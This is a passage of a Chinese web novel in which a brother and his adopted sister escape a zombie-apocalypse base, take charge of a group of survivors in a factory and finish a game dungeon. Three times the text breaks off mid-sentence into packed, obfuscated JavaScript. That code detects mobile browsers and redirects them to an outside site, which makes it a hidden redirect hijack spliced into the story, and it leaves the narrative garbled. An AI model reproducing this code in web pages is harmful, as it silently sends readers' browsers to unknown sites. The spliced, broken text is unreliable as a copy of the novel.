他又朝俯身朝她逼近几分,掌心的温度攀上她的脖颈——那里凸起的斑痕最重,他却丝毫不在意地摩挲着。 “我知道你心里在想什么。但你难道就没想过,一声招呼不打就离开把你养这么大的哥哥,究竟有多残忍?” 他的声音很沉,沉得像在耳边低语。 “还是说,你觉得我就应该在你最困难的时候把你抛弃,然后心安理得地活下去?” “假如我今天真的没有去找你,多年后回想起,你这里……到底是庆幸多一点,还是恨我多一点?” 他的指腹轻点在她的隔着厚厚衣料的胸口——离心脏最近的位置。 “你会不会觉得,我和其他人没有任何区别,自私冷漠,罔顾亲情,虚伪至极。或者其实你现在已经这么觉得了。” 他甚至用的不是疑问句。 阮时卿摇摇头,不受控制地后退一步,她很想否认,但一时之间竟然找不到反驳的理由。 “说话。” “你到底还有没有良心,阮时卿。” “我做了这么多,你都看不见吗?” 说着,他的眼底竟也泛了红。 “我从来没有这么想,哥哥。”阮时卿吸了吸鼻子,“你和其他人不一样……” 成晏的掌心及时覆盖向她的颈后,将她带入怀里,用更深的拥抱代替语言触及彼此,感知对方的存在。 “只要活着就行,我会去医院给你找血,我们还能好好的。” “嗯……”阮时卿也终于不再纠结,踮起脚尖回应了他。 “咚咚咚——” “成哥成哥!在家吗?” “卿卿!快开门!” 急促的敲门声骤然划破空气,宋轩和闫梦的声音一同在门外响起。 成晏率先反应过来,帮阮时卿把围巾裹好,示意她待在原地不动,这才过去把门打开。 除了宋轩和闫梦,还有戚霁也来了。 宋轩一眼就看到了成晏手背上被血渗透的绷带,急忙发问,“成哥,你怎么了?没事吧?” “有事说事。”成晏言简意赅地打断他。 “卿卿!”闫梦冲进来,直接拉住阮时卿的手,“对不起,上次是我来晚了,我一直很内疚!昨天我本来想来看你的,被你哥拦住了,我……” “不是你的错,梦梦,是我自己要去的。”阮时卿拍了拍她的肩,安慰道,“况且我现在不也没事。” “你们现在真有大事。”宋轩急得擦了擦头上的汗,“上面的人接到匿名举报,说成哥你窝藏丧尸,已经命人过来查了。我来就是提醒你们的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964880|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“对,我也听说了,所以我就立马过来了。”闫梦点点头,她大概也察觉到了阮时卿的不对劲,“所以,你真的……” “是。”阮时卿承认了,“我已经感染了,但不知道为什么还有意识。” “这不就是传说中的半感染者?”宋轩十分惊讶,“游戏里的隐藏大佬啊。” 成晏一脸凝重,“我知道这是迟早的事,但没想到这么快。” “唉,我知道上头的人最近一直在找实验体,你妹这样的绝对逃不过他们的眼睛,大概也是这个原因。”宋轩叹了口气,他和成晏对视一眼,彼此心照不宣。 “你们快走吧,被抓的后果你知道。” “好,我们走。”成晏回头对阮时卿说。 他顿了顿,补充道,“谢了。” “这有什么,以前在队里你也没少帮我,”宋轩摆摆手,“主要问题是从哪里逃?现在出口已经被管制了,最近查得非常严。” 一直保持沉默的戚霁适时地站了出来,“我知道一个位置。” “哪里?” “东边有个收废品的老头,守着一个偏门,很少人知道那里可以出去。我认识他,可以让他帮你们开门。”她说。 “戚霁姐你也太好了吧!”闫梦感叹道,“谢谢你!” “这没什么,我知道你们都挺厉害的,希望以后再遇到你们可以带带我。”她笑了笑,语气很真诚。 “好。”成晏点头,“谢谢。” 时间紧急,他们也带不了多少东西,就连刚买的蛋糕和馄饨都不得不留在这。 “你在外面要好好的。”闫梦擦了擦眼泪,“不然我不会原谅自己。” “好,你也是。下次再见估计是下个副本了。” 成晏收拾好东西,牵住阮时卿的手,“我们该走了。” “成哥,照顾好时卿妹啊。” 成晏瞥了宋轩一眼,“这还用你说。还有,她是我妹。” 宋轩一脸无辜:他说错啥了? 阮时卿憋笑。 一点欢笑的气氛很快被紧张和离别冲散。 他们离开后一路朝东走,刚好避开巡逻的队伍,有戚霁带路,很快就找到了卖废品的老头。 他住在一条非常偏僻的小巷尽头,来这里的人寥寥无几,怪不得说没人知道。 废品站有一辆双人自行车,他们很快骑着出了城。 外面地形还算平坦,周边只有一些稀疏的草丛,视野非常开阔,也许是提前清理过,丧尸几乎没有。 天气很好,飞鸟衔着日光铺满了天边,阮时卿抱着成晏坐在后座,一切都是那么鲜活温热。 “成晏,如果我还能活下去的话,我给你养老。” “养老?”成晏忍不住笑出声,“好啊,你说的。那我有个附加条件。” “你说。” “老了不许嫌弃我,不许嫌我唠叨,不许嫌我管这管那。” “噗,你还挺有自知之明的。” “还笑。” …… 他们开出几里地以外后,一声声低吼伴着铺天盖地的脚步声逐渐从另一个方向逼近身后的基地,回头看还能看到密密麻麻的黑影从远处蜿蜒而来。 “哥!”阮时卿扯了扯成晏的衣角,迎面而来的风吹散了她的声音,“你看后面。” 成晏应了声,没有停下。 “他们会有事吗?” 成晏当然知道她指的他们是谁。 “不会。他们会像我们一样逃出来的。” 阮时卿点了点头,伸手又抱得更紧了些,心里的愁绪仍然挥之不去。 “听歌。”成晏空出一只手来给她递来有线耳机,另一端连着他,“我刚好带了这个。” 阮时卿接过,耳机刚好放到歌的高潮部分。 “IfIcrosstheline 如果我跨过那条界限 Don''tstepaway 请不要躲开 Couldwestillbethesame? 我们还能像从前一样吗 Woulditbealright 这样是否可以 IfIcallyoumine 认为你属于我……” 22. 隐藏任务 末日第七天。 天空浮起阴霾,浓云沉沉。 一个单手拎着布袋的女孩迈着轻快的步子从不远处的槐树下走过来,旁边的丧尸套着撕裂的血衣嗅了嗅,对她视若无睹。 她一边吸着左手的血袋,一边拐进了小镇上唯一一家小卖部。 里面有一只正在宕机的丧尸,被她熟练地拧断了脖子,地上很快积起一滩黑血。 女孩没有多看一眼,打开布袋就开始把面前的东西全往里倒。 小卖部规模很小,但货架上的小吃倒是齐全,什么薯片啦鸡爪啦辣条啦都是阮时卿爱吃的,可见这附近应该也没什么人。 她还瞥见了摆在门口的冰柜,眼睛亮了亮。 不知道什么原因,这冰柜竟然还通着电,里面放着各种各样的冰棍,还有速冻饺子! 阮时卿毫不客气地拿了出来,装进鼓鼓囊囊的布袋,现在这点重量对她来说已经不算什么了。 一个圆润的脑袋突然从不远处的专柜下冒出来。 “啊啊啊啊你是人是鬼啊——” 他吓得尖叫。 阮时卿循声望去,一个体型很胖的男人躲在柜台后面瞪着惊恐的双眼,感觉已经吓到失去行动力了。 “我不算人吧。”她张开一口鲜红的牙齿,笑嘻嘻地,“你是这家小卖部的老板?” “你……你要干嘛!离我远点!”男人吓得又钻回了柜底,浑身发抖。 “这些东西我就带走了,”阮时卿没有靠近,只是举了举手上的袋子,“多谢。” 她说完便轻哼着歌推开门走出去。 看吧,哥哥从小教她的要懂礼貌,她已经很有礼貌了!等会回去就求夸! 她来这镇上跟逛自己家似的,又拐进服饰店给成晏挑了一双耐磨的手套,再给自己挑了一双墨镜和口罩。 然后满载而归。 有几张脸贴在窗上看到她,都十分不可思议。 “天呐你看她,看起来不像丧尸啊……” “怎么回事?怎么都不咬她?” “要不我也去……” “你疯了!” 这些对话都被阮时卿听了去,然而她只是弯了弯唇角,并不打算解释什么。 出了小镇,有一大片连绵的农田,田埂上立着一个矮旧的板房,里面隐约可见晃动的黑影。 “叮当——” 扳手落在地上,成晏背靠墙稳住车身,按住后轮轴,指尖捏着链条一捋,顺势挂回车轮。 身后响起窸窸窣窣的脚步声,他想也不想就知道是谁回来了。 阮时卿放下布袋,悄悄从背后靠近,弯腰抱住了他的肩膀。 “哥,你怎么又在修车,都换了好几次零件了。”她小声嘟囔。 “马上就好。”成晏任由她抱着,手上的动作顿了顿,微微偏头,柔软的头发刚好擦过她的下巴,痒痒的。 “又去哪逛了?”他问。 屋里刚生了灶火,充满了寻常的烟火气,虽然有点呛,但很温暖。 阮时卿嘿嘿一笑,赶紧从布袋里拿出一双崭新的手套来,“去前面的镇子上逛了一下!这是给你带的。” 他手上的那双白手套俨然已经磨破了,还沾上了许多油渍。 “这么好?还记得你哥呢。”成晏有些受宠若惊地收下,然后指了指她背后的袋子,“拿来我看看。” 阮时卿慢慢地递过来,有些心虚。 成晏一眼就看到了藏在最底下的辣条和冰棍,一副果然如此的表情。 “阮时卿,谁让你拿这些的?肚子不痛了?”他的声音沉了下去。 “我是刚好看到那里有,就想着拿来孝敬我的好哥哥嘛!”她抱着他的手臂,祈求他手下留情。 “黑的都能被你说成白的。”成晏无奈地摇摇头,把东西翻出来丢到一边,“没收了。” “吃一口也不行吗……”阮时卿欲哭无泪。 自从感染以来她的胃口简直是直线下降,每天除了喝血就是喝血,都要吃吐了。所以才想着吃点新鲜的刺激一下味蕾。 “不行。”成晏很决绝。 在与她的安全有关的事上一向没得商量。 “等会肚子痛的时候你又要怪我让你出门了。”他说。 见她耷拉着脸,成晏摘下手套,捏了捏她的鼻尖,语气软下来,“好了好了,等会煮饺子给你吃。还有面条,我刚下锅呢。” 这附近有井水,但也抽得差不多了,刚好能满足这一顿饭。 灶台里的火烧得噼里啪啦响,还有火星子溅出来。 成晏挥着手让她站远点,将熟了的面条夹进碗里,再将饺子倒进煮沸的铁锅。 这是他们出城后的第二个站点,虽然房子老旧了点,但器具什么的都是现成的,可以直接用,柴火不多,一次性都烧光了。 屋里除了木柴还有铁锄和镰刀,一个窄窄的竹板床。 “哥,你有没有觉得住在这也挺好的。” 屋子的大门半敞着,清爽的风伴着自然的香气吹进来,好像就是一个再寻常不过的清晨。 阮时卿看着外头的风景感叹道。 “没有别人,每天锄锄田种种地,风平浪静的,好像时间都慢了下来。” 成晏笑了,“原来我们卿卿的终极梦想是隐居田园。” “没有,就是经历了那么多,我觉得现在挺不容易的。可能越不容易得到的东西才越珍惜吧。” 阮时卿回过头来,见他正一错不错地看着自己,眸光很柔。 “嗯,是这个理。搁在末日前,让你下乡等于天方夜谭。”他说。 阮时卿不服气,“什么嘛,我又不是没有下乡实践过。你还记得小时候我们去乡下那个废弃的红砖厂吗?当时你非要玩那个……” 成晏咳了两声,“停停停,黑历史可以不用提了。” 阮时卿不听,“当时你兴冲冲地开那个铁车,还不带我,结果一不小心卡进沟里,笑了我三天三夜。” “你是开心了,还敲诈了我好多包毛毛鱼,我是尊严财产两失。”成晏故作沉重地叹息一声,实际上嘴角一直扬着。 阮时卿忍不住反驳,“那是我应得的。” 成晏笑而不语,结果过了好久他又突然说,“那如果是和我住在这里过一辈子,你愿意吗?” 正吸溜着面条的阮时卿顿了下,像是没听清似的,“啊?” 他定定地看了她一会,伸手帮她把被子风吹乱的毛边衣领理了理,“没什么,吃你的吧。” “哦……” “冷吗?” “不冷,屋里热着呢。” “外面就冷了,看这个天气,估计等会还要下雪。” …… 吃完早饭,他们把房子打扫干净然后收拾好东西就离开了。 这里偏乡野,人确实不多,因此丧尸也少得可怜,等穿过镇上那条小路,就是通往邻市的必经之路了。 正午他们遇到了一个工厂,那里面亮着灯光,很明显有人。 但阮时卿还听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“二位是我们的救命恩人!请留下来做我们老大吧!”刀疤男仰起头抱拳,看模样十分真诚。 “我们可以负责出去找物资,一切都听你们的安排!只需要你们留在这保护我们的安全!” 这场面,搞得跟电视剧里□□集结似的。阮时卿确实是第一次见。 成晏的手偷偷伸过来握住她的,示意她不用出面。 “不必了,我们只是想找个位置休息,对领导谁没有兴趣。”他面无表情地说。 刀疤男连忙点头,“可以,你们留下来就行,我们这有的是位置!” 不远处角落里还有一些其他的幸存人群,都在注意着这边的动静。 “好,那我有个要求,我妹妹神经衰弱,听不得乱七八糟的声音,你们最好不要闹出太大的动静。”成晏补充道。 神经衰弱? 阮时卿用力揪了下他的手心,算是小小的反击。 成晏没作声,只觉得后脑勺烫烫的。 “呃,好的好的。”刀疤男的目光落在他身后的阮时卿身上,但只瞟了一眼。 他们进来得很顺利。 工厂上层有专门给员工住的房间,刀疤男下令腾出来一间给他们,还邀请他们一起去吃烤串。 阮时卿一把东西放下就气呼呼地指着他的胸口。 “喂,我那神经正常的哥,下次能不能不要拿我当借口啊。” 成晏握住她的指尖笑了笑,“想吃烤串吗?我给你带上来。” “你又转移话……” 话还没说完,阮时卿的脑子里突然响起一道久远的声音。 【系统提示——】 【恭喜玩家005触发隐藏任务:向工厂众人曝光自己半感染者的身份,并存活至副本结束。】 【提示:此任务为必要任务,如果失败将被抹杀。如果成功则可获得附加奖励。】 23. 通关结算 这任务出现的那一刻,阮时卿着实松了一口气。这相当于游戏也承认了她是半感染者玩家,所以不会被淘汰。 但这任务摆明了就是想置她于危险之地,一旦身份曝光,她便会和普通人类站在对立面,引来无数猜忌和怀疑。 “怎么了?怎么不说完?” 她的小手指被人勾了勾,从思绪中抽离出来。 “哥,我这边收到了一个隐藏任务,而且必须完成。” 成晏的脸色一瞬间变得凝重,“什么?” “向他们曝光我的半感染者身份。” 空气一时间陷入了沉寂。他没有回应,似乎是在思忖。 “哥,你不用管,这个任务你不方便插手。”阮时卿急忙出声,“我一个人就能处理。” 成晏终于抬眼,眉头微蹙,“你一个人?半感染者这个身份没多少人知道,你知道曝光有多么危险吗? “你别看他们豁得出去就以为他们胸无城府,其实这种贪生怕死的人心思最精明。以我们的关系,你的一举一动在他们眼里都会与我挂钩。” 阮时卿犹豫了。 一阵轻微的温热在耳侧流连,她的面罩被他摘了下来,露出原本的模样。 “你忘了吗?我们是一体的。”成晏语气坚定,“所以,这件事交给哥哥。我知道该怎么办。” 他眼里的柔和渐渐隐去,被冷意和压迫感占据。 …… 半小时后,成晏和阮时卿一同出现在工厂一楼正中央。 地面上的血和尸体已经被清理干净,众人正围着两个大火堆烤火,有很多条鱼架在火堆的架子上,冒出烤肉的香气。 那个刀疤男叫雄安,他手下的人大概有十多个,而剩余的幸存者自成一派围着另一个火堆,但明显火势要小一些。 “雄哥,你看他们下来了。” 有手下提醒,刀疤男很快殷勤地转身要去迎,结果刚走没几步笑就僵在了脸上。 成晏没有戴围巾,脸和脖颈的皮肤上都蜿蜒着一层狰狞的纹路,远远看去就像大片青黑色的纹身。而和他并肩走着的阮时卿同样,甚至更深。 他们毫不遮掩自己的异样,并且走得很快,像是没有看到众人眼中闪烁的恐惧。 “这……他们看上去怎么和外面的丧尸一样啊!” “他们感染了!” “雄哥快回来!” 有人惊恐地退后尖叫,也有人已经暗中握起了手中的武器。 就在半小时前,成晏先用粗糙的墙灰往自己皮肤上抹了一层,而且是大片大片地涂,直到整体看起来泛着不健康的灰色。然后再用之前特意去美妆店拿的眉笔照着阮时卿同样的纹路一笔一笔画在显眼的地方。 阮时卿心疼他脸上的灰,抹上去肯定很不舒服。 他开玩笑说这没什么,以前出任务各种挂彩比这严重多了,这说不定还能锻炼皮肤耐受度。 “你们别过来!” 刀疤男吓得吞了一口唾沫,立马退到人群后方,恶狠狠地盯着他们。 他们适时地停在离众人大约五米的地方。 “如你们所见,我们其实在来到这里之前就已经感染了。”成晏不紧不徐地陈述着,“但我们并没有失去理智,这也就是所谓的半感染者。” 阮时卿接过话头继续道,“我们也并不是一开始就知道,而是感染了才明白原来不是所有人都会变成丧尸。而在未来,我觉得半感染者群体肯定还会持续扩大。” 厂内一片哗然,众人纷纷提出质疑,巨大的争吵声几乎要将这里淹没。 “怎么做到的?” “骗鬼呢吧!我们凭什么相信你们?” “那我们岂不是有救了!” 刀疤男深深地皱起眉头,拿起手上的大刀横在肩膀上,挥挥手示意大家安静。 “所以呢?你们是半感染者,所以现在宣布要来咬我们了吗?”他的话里充满了敌意。 成晏丝毫不在乎地笑笑,“首先,半感染者的确与丧尸一样,需要食肉啃血,因为这是满足身体机能的基本需求。 “第二,半感染者的身体素质和能力远超普通人,这点你们刚才也看到了,我和她合力解决了一只食尸者。” 此话一出,众人脸上的恐惧更深了,他们连一个食尸者都对付不了怎么可能打得过他们。 “我知道现在你们很多人不能理解,所以我们一开始隐瞒了身份。至于为什么现在选择曝光。” 成晏的语气突然变得强硬起来,目光扫过众人,满是势在必得的自信,“那是因为我们现在打算管理这里。” “我们需要血,而光靠我们两个人是不够的,我需要更多的人手帮忙去找,才能满足食欲,才不至于伤害你们。” 火堆的舌星跳跃在他眼中,泛起危险的光芒。 “所以我给你们两个选择:第一,服从我们的管理,按劳分配物资;第二,现在就离开,等会就没机会了。” “啊这……” 他的话太过笃定和强势,以至于一时之间竟没有人反驳,有人蠢蠢欲动想要离开,都犹豫不决。 阮时卿冷声补充,“我们既然提出了这样的方案,就能保证不伤害任何人,还能保证各位的安全,不然你们连反抗的机会都没有。” “那可未必吧。”刀疤男冷笑一声,他的视线扫过身后的人一圈,最后落在他们两个单薄的身影上,“就算你们是半感染者,我们这么多人还打不过你们两个?” “你们大可以试试。”成晏的话充满了挑衅意味,“但后果自负。” “雄哥,我先上!”刀疤男身边的小弟拍了拍壮实的胸脯,拎着刀就要冲上去。 然而他还没来得及跨出一步,只见成晏轻抬手腕,五指在空中虚虚一握男人便被一股大风掀翻,发尾沾上了身后的火星,很快烧焦了一大片。 “啊啊啊啊我的头发!” 只差一点他就要倒进火坑了。只需要那股风的力度再大一点。 刀疤男吓得大惊失色,双腿不自觉软了下去,嘴唇不停哆嗦。 “你……你到底是什么人……” 成晏收回手,淡淡回答,“我说了,我们是半感染者,不等于丧尸。只要遵守规矩,我们就不会动你们。” “我有异议。” 这时那群幸存者里突然站起来一个瘦高的男人,他看起来年纪也不大,只是刘海有点长遮住了眼睛,整个人看起来有点阴翳。 但阮时卿的心却猛地跳了一下。 她认识这张脸,是她的高中同学,叫周子衿,那会因为某些原因她们走得比较近。但现在…… 她暗中攥紧了拳头。 周子衿没有看她,或者说看她的目光完全陌生,他迎着众人的目光走出来,激烈地反对,“你们说带人出去找血,不知道是不是在路上把人吃掉,然后回来就说因为意外死了?” 其他人面色一变,纷纷点头,“对对是这样,万一是阴谋……” 周子衿逐渐走到人群前面来,他只穿着一件单薄的连帽卫衣,却好像感觉不到冷,“而且你们态度突然的转变很让人起疑,为什么开始不提而这个时候提?” “我们要是真想吃你们还用得着等到那时候吗?”阮时卿忍不住反驳,“刚才进来的时候就会把出口堵死让你们一个也逃不了。” 周子衿垂眸,咬了一下没有血色的唇,“可是那样我们的反抗也会更激烈。也许你们是想温水煮青蛙。” “你……”阮时卿属实是气着了,她没想到曾经的同学竟然这么不给她面子。 印象里周子衿一直是独来独往,话也很少,他还喜欢上课睡觉。尽管如此,他的成绩一直都很好,属于是天赋型选手。 只是听说他家庭条件不好,经常吃不饱穿不暖,于是阮时卿带的盒饭有时候会分给他一点,会偷偷给他塞一双成晏织的手套。毕竟她经常找他问难题。 他不擅长讲,只是喜欢把解答步骤一个个写在纸上,写好几张纸,把需要注意的地方都标了出来,让阮时卿一目了然。 久而久之他们来往多了也就熟了,阮时卿在心里是把他当好朋友的,只是没有明确说。不过来往仅限于学校,高中毕业以后除了群发的祝福没有其他联系。 “没事。”成晏大概也察觉到了她的不对劲,捏了捏她的手心,“我们用事实说话。” 他直直地看向周子衿,“等会你和我一起出去,看我们说的是不是真的。” “好。”周子衿答应得很爽快。 成晏又随机指定了几个人,然后问,“现在还有谁有异议吗?没有异议的话我妹妹会留在这里维持秩序,而我会带刚才那几个人一起出去找物资,包括我们需要的血。” 很快他们就准备出发了。 周子衿走到成晏身侧,掠过阮时卿身旁时完全视而不见,像不认识她一样。 阮时卿自然也是装作不认识他,毕竟刚才闹得不太愉快。 他们一走剩下的人自然也都掀不起什么风浪,都乖乖烤火然后吃着烤好的鱼,而阮时卿坐在角落顾自整理着自己的东西,也没有人理她。 她抬头一看,外面已经是傍晚了,心里还有些激动,说明这一天很快就要结束了。 大约两个小时后,他们踏着最后一缕余晖回来了,一个人也没少,甚至每个人手上都提着大大小小的物资。 “回来了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981573|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了!太好了!” 有个母亲看到自己儿子平安回来,抱着人一顿喜极而泣。 周子衿一改之前的态度,明确表示支持成晏和阮时卿的管理。他是最大的反对者,既然他都改变了态度,那么其余人也都不再坚持,表示服从。 这个时候阮时卿觉得有些不对劲,改变态度这么容易吗? 她朝周子衿看过去,刚好和他撞上视线,发现他有些慌张地移开目光,紧接着回到自己之前的位置继续当透明人了。 她好像知道是怎么回事了。 成晏回来的时候衣服上有一道小小的划痕,不过好在没有受伤。 “下次换我!”阮时卿十分坚定地说,结果头发差点被某人薅秃。 “好,我们家妹妹主动请缨哪有不同意的。”成晏说到这话音突然一转,附在她耳边悄悄地,“不过,某人把我辛辛苦苦织的手套转手送给别人的事我可要计较一辈子了。” 阮时卿吓了一跳,猛地抬头,又有些心虚,“你怎么知道!” “人在做天在看。”成晏捏着她脸颊上的肉轻轻晃,“果然,做亏心事了吧。” “是不是周子衿告诉你的?”她问。 “哦,你连人家名字都记得这么清楚。”成晏深深地看她一眼,脸上写满了不高兴。 阮时卿:?我记性好咋了。 当然她没敢说,毕竟她不占理,只能缩着脖子装乌龟。 “其实不是他说的。”成晏突然开口,“是手套从他口袋里掉出来我看见的,我一眼就认出来了。” “哦……我就是,我就是看他可怜嘛,毕竟他也帮了我很多。”阮时卿小声地说,两手悄悄地伸过去扯了扯他的衣角,“好哥哥别生气,你就当顺手帮我还了个人情。” “那这人情做得也太大了。”成晏双手抱臂,目光落在别处,“赔了一双手套还赔了个妹妹。” 阮时卿眨了眨眼睛,没听懂他的意思,“我啥时候把自己赔出去了?” “自己想。” 成晏没有惯着她,转身就去忙整顿秩序分配物资了。 阮时卿没想明白,但她去找了周子衿。 没想到周子衿一看到她就连忙给她让了个位置,还把手里的烤鱼递给她问她要不要吃。 阮时卿没接,她不饿。 “哦。”周子衿也不恼,看着眼前跳跃的火光不知道在想什么,“抱歉,刚才让你那么难堪。” “其实你是在帮我们对吧?”阮时卿抱着双膝,微微一笑。 周子衿没有回答,只是握着烤鱼的手紧了紧,火光照得他手背上的青筋若隐若现。 阮时卿又往他那边挪了一点,像是为了更加听清楚他在说什么。 “你哥哥人很好。”他突然说。 “嗯。”阮时卿不知道他为什么突然没头没尾来了这么一句,“你毕业后去哪里上大学了啊?都没听班里人提起过。” “我没上了。”周子衿很淡然地说,“出去打工了。” “啊?可是你成绩那么好,当时老师说你考上清北都绰绰有余。” “夸张了。”他顿了顿,“不过谢谢。” “唉其实也没关系了,反正都末日了,学历就是一张纸。”阮时卿笑着说,“不过这次还是谢谢你,希望下次见面我们还是好朋友。对吧?” “对,好朋友。” “卿卿,下雪了!”成晏在外面喊她。 “来了!”阮时卿立马起身,都忘了说再见。 天黑了,雪也来了,白茫茫的地被天空压住了。 “这里。” 视线的尽头,成晏朝她张开双臂。 阮时卿雀跃地跑过去,扑进了他怀里。彻骨的寒意往衣服里钻,她忍不住瑟缩了一下,却难掩兴奋。 “我们这里难得下雪欸。” “更难得的是我们一同看雪。” 等冰晶接连在手上化开,阮时卿偷偷将手伸进去摸他的脖子。 “嘶。”成晏咬牙忍着,抱着她晃了晃,“再冰我小心把你扔到外面去。” “坏哥哥。” “坏妹妹。” “可惜天太黑了,什么也看不清。明天还会下雪吗?”她问。 “明天还会。但我们的明天不会了。” “今天马上就要过去了。”阮时卿说着,有点惋惜似的。 “舍不得就多看一会吧。今天会过去,明天也会,留住你想要的瞬间就好了。” 像是为了印证自己的话,他拢了拢她的外套,然后寻到她的掌心相扣。 【叮——】 【恭喜您通关丧尸末日副本,5秒后将为您传送至结算空间……】 24. 同心戒 视野骤然一黑,唯有相连的掌心传来五指扣拢的实感。身体像是被人轻轻托起,漂浮在上空,没有重量。 【恭喜您度过新手验证期——】 紧接着一连串的系统提示便接连不断地响起。 【玩家属性面板已解锁——】 【玩家商城已开放——】 【玩家论坛、排行榜已解锁——】 【丧尸末日副本成绩评定中——】 阮时卿睁开眼睛,身体还被人紧紧抱着,抬起头时刚好对上成晏如释重负的目光。 他环着腰侧的手随之松开,只有掌心还紧紧相扣,“还好,我们没有分开。” 阮时卿立马摸了摸自己的脸,再也没有了那种凸起的触感,她开心地打量起周围,除了一片虚无的空白,什么也没有。 但是也许是刚才被室外风吹的,成晏原本精致的刘海尚有分岔,能露出饱满的额头和硬朗的眉骨,但现在纵横交错,发尾微翘,只露出一双还算睿智的眼睛。 以前他每天醒来都要对着镜子整理刘海整理很久,要是让他知道自己现在这样,估计早挖个地洞钻进去了。 “你笑什么。”他问。 “笑你好看。” “没个正经。” 那很快系统音再次响起,一块蓝色大屏浮现在两人面前。 【副本丧尸末日完美通关】 【绑定体阮时卿&成晏综合评级:S】 【C级副本基础通关奖励:5000EXPx2】 【表现加成奖励:15000EXP】 【总计:25000EXP】 【系统提示,在副本中您可随时查看属性面板以及使用背包道具,但游戏商城、论坛和排行榜将会处于锁定状态。】 【十分钟后,将为您传送至下一个副本。】 阮时卿对这些奖励没什么概念,她立马点开自己的属性面板。 【代号】005 【生命值】100% 【san值】100% 【污染值】5% 【异能】听觉增强,初级,100% 【buff】无 “这个污染值是什么东西?”她又去看了看成晏的,发现他是0。 刚在浏览商城的成晏被吸引了注意,眉头微蹙,他在生存补给区发现有个商品叫【净化药剂】,作用是【污染值清零】。 但价格是20000EXP。 “这么看污染值肯定不是什么正面属性。”成晏话音一转,“不过这么点值应该也影响不了什么,不用担心。” 阮时卿点点头,跟着他一起浏览商城。 商城一共分为五个板块,分别是【生存补给区】【武器装备区】【异能强化区】【特殊道具区】和【绑定体专供区】。 阮时卿第一个就被绑定体专供区吸引了,眼睛亮了亮。 还没等她开口成晏就点了进去。 首位第一个就是一对不起眼的银质环形戒圈。 【商品:同心戒】 【功能:佩戴后建立长效共感,无视距离限制实时感知对方的生命与状态。】 【价格:5000EXP】 后面还有其他东西,但阮时卿怎么也挪不开眼睛,她非常想要这个功能,但是这个是戒指诶…… 她偷偷瞟了一眼成晏,发现他倒是十分镇定,刚好也转过来看她。 “这个好不好?”他十分从容地指了指同心戒,“价格合适,并且功能也很实用,这样我就能每时每刻都知道你有没有事了。” 阮时卿看了看右上方的倒计时,还剩下八分钟,也没有扭捏,愉快地同意了。 很快他们的无名指上分别出现了一个银质素圈,尺寸完全合适。 戴上后阮时卿突然感知到兴奋的神经和剧烈跳动的心脏,整个人处于一种十分亢奋却又莫名满足的状态。 好像每一个毛孔都在微微舒张,向外洋溢着幸福的信息素。 阮时卿一时都分不清这到底是自己的感觉还是他的…… 她刚想摘下来验证一下,结果就被他眼疾手快地按住。 “摘下来干什么?”他脸不红心不跳地说,“万一弄丢了怎么办,这不是好习惯。” 阮时卿狐疑地瞅了他一眼,“哦。” “它们是一对。摘下来了我就感觉不到你了。”他揉了揉她的头发。 阮时卿看了眼自己的无名指,又看了眼他的,突然想到一个十分严峻的问题。 万一被别人误会怎么办?! 现在该挖地洞的是她了。 他们继而点开【生存补给区】。 【商品:万能医药箱】 【功能:只要生命值大于0,即可无差别修复一切□□损伤,使其恢复100%,提示:不可修复精神损伤。】 【价格:2000EXP】 【商品:超市打折券】 【功能:商城所有商品价格降低20%】 【价格:2000EXP】 【商品:食物盲盒】 【功能:随机开出海量解馋零食,或三至五道热气腾腾的成品佳肴,全凭手气。】 【价格:1000EXP】 【商品:军用单兵口粮x10】 【功能:集自热主食、配菜与高能零食于一体,迅速补满全天热量,维持巅峰战力。】 【价格:1000EXP】 …… 阮时卿眼疾手快地下单,万能医疗箱x2,食物盲盒x2,军用单兵口粮x1,成晏就在一旁笑着看她。 【剩余经验值:13000EXP】 “是不是花得太多了?”阮时卿有些怀疑。 “民以食为天。”成晏语气肯定,然后点开了武器装备区,“这些都是刚需,不嫌多。” 【商品:躯体重塑剂】 【功能:深度重塑骨骼与肌肉,全方位提升身体机能,大幅增强基础力量。】 【价格:2000EXP】 成晏给阮时卿下单了一个,“战斗需要好的身体素质,这样也有能力自保,不容易受伤。” 阮时卿很快点进背包使用,一个小小的蓝色药剂包出现在手中,需要口服。 喝下去以后一股源源不断的力量从深处涌上每一条经脉与血管,就连肌肉都充实了不少。 “太好了。这样我是不是能一拳一个壮汉。”阮时卿激动地挥舞着拳头。 “真棒!有这种自信天都能被你捅穿,何况是壮汉。”成晏在一旁拍掌鼓励,“我们家以后要出一个大力天才。” 阮时卿斜睨了他一眼,“你这是鼓励我还是嘲讽我?” “怎么可能是嘲讽?我一直是鼓励式教育。” 【倒计时:5分钟】 经验值所剩不多,他们很快点进【异能增强区】,购买了针对阮时卿异能的升级券,耗费3000EXP。 【Evol能力“听觉增强”已升级】 【获得附加技能:声波共振】 【技能描述:你可以通过主动发出次声波,与指定物体产生共振,从而感知其内部结构、材质、乃至弱点。消耗Evol巨大,请谨使用】 “哥,你怎么不买个升级券。”阮时卿疑惑道,“你的异能那么好用,升级了肯定更强。” 